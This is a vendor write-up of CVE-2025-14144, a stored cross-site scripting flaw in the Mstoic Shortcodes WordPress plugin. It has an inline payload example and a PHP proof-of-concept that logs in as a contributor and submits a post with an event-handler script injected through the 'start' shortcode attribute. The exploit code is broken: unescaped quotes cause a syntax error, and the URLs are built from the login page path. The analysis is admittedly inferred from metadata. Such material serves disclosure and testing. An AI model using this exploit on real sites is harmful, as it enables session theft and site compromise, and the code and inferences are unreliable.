Atomic Edge analysis of CVE-2025-14144 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Mstoic Shortcodes WordPress plugin. The issue resides in the ‘ms_youtube_embeds’ shortcode, specifically in its ‘start’ attribute. Attackers with Contributor-level access or higher can inject malicious scripts into posts or pages. These scripts execute when a user views the compromised content. The CVSS score of 6.4 reflects a medium-severity risk with scope change and impacts on confidentiality and integrity.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The plugin likely fails to properly validate or escape user-supplied input for the ‘start’ shortcode attribute before storing it in the database and later rendering it in the page. This is a classic CWE-79 scenario. These conclusions are inferred from the CWE classification and vulnerability description, as the source code is unavailable for direct confirmation.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker would create or edit a post, inserting the vulnerable shortcode with a malicious ‘start’ attribute payload. The payload would contain JavaScript, likely wrapped in an event handler like `onload` or `onmouseover` for an embedded element, or a simple script tag if the attribute value is rendered without proper context. For example: `[ms_youtube_embeds start=”1 onload=alert(document.cookie)”]`. The exact endpoint is the WordPress post editor, with the attack vector being a POST request to `wp-admin/post.php` when saving a post.
Effective remediation requires implementing proper security functions. The plugin must sanitize the ‘start’ attribute input using functions like `sanitize_text_field()` before storage. It must also escape the output on render using context-appropriate functions such as `esc_attr()` for HTML attributes. A patch should also review all other shortcode attributes for similar issues. These measures are standard for addressing CWE-79 in WordPress.
Successful exploitation leads to client-side code execution in the victim’s browser. Attackers can steal session cookies, perform actions on behalf of the user, deface the site, or redirect users to malicious domains. The ‘stored’ nature of this XSS increases its impact, as the payload executes for every visitor to the infected page. The Contributor-level access requirement limits the attack surface to users with posting privileges.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14144 - Mstoic Shortcodes <= 2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'start' Shortcode Attribute
<?php
$target_url = 'http://target-site.local/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: JavaScript to execute in the victim's browser. Uses a basic alert for demonstration.
// The payload is placed within the 'start' attribute value. The exact rendering context is inferred.
$malicious_start_attr = '1" onload="alert(`XSS: `+document.domain)';
$shortcode = "[ms_youtube_embeds start="{$malicious_start_attr}"]";
$post_content = "This is a test post with a malicious shortcode. {$shortcode}";
$post_title = 'Test Post CVE-2025-14144';
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
$response = curl_exec($ch);
// Step 2: Create a new post (Contributor users can create pending posts)
// We need to fetch the nonce and other required fields from the post creation page.
// This is a simplified example assuming we can get a valid nonce.
// In a real scenario, you would parse the editor page for the nonce (_wpnonce).
$create_post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, false);
$editor_page = curl_exec($ch);
// Extract nonce (this regex is illustrative; real extraction depends on page structure).
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $editor_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
echo "Could not extract nonce. Authentication may have failed or page structure differs.n";
exit;
}
// Step 3: Submit the post with the malicious shortcode
$submit_url = $target_url . '/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $submit_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_data = http_build_query([
'post_title' => $post_title,
'content' => $post_content,
'post_type' => 'post',
'post_status' => 'pending', // Contributor posts require review
'_wpnonce' => $nonce,
'_wp_http_referer' => $create_post_url,
'action' => 'editpost',
'submit' => 'Submit for Review'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$result = curl_exec($ch);
// Check for success indicators
if (strpos($result, 'Post submitted') !== false || strpos($result, 'Post updated') !== false) {
echo "[+] Potential exploit post created successfully. The shortcode '{$shortcode}' should be stored.n";
echo "[+] Visit the pending post (once published) to trigger the XSS payload.n";
} else {
echo "[-] Post creation may have failed. Check authentication and permissions.n";
}
curl_close($ch);
?>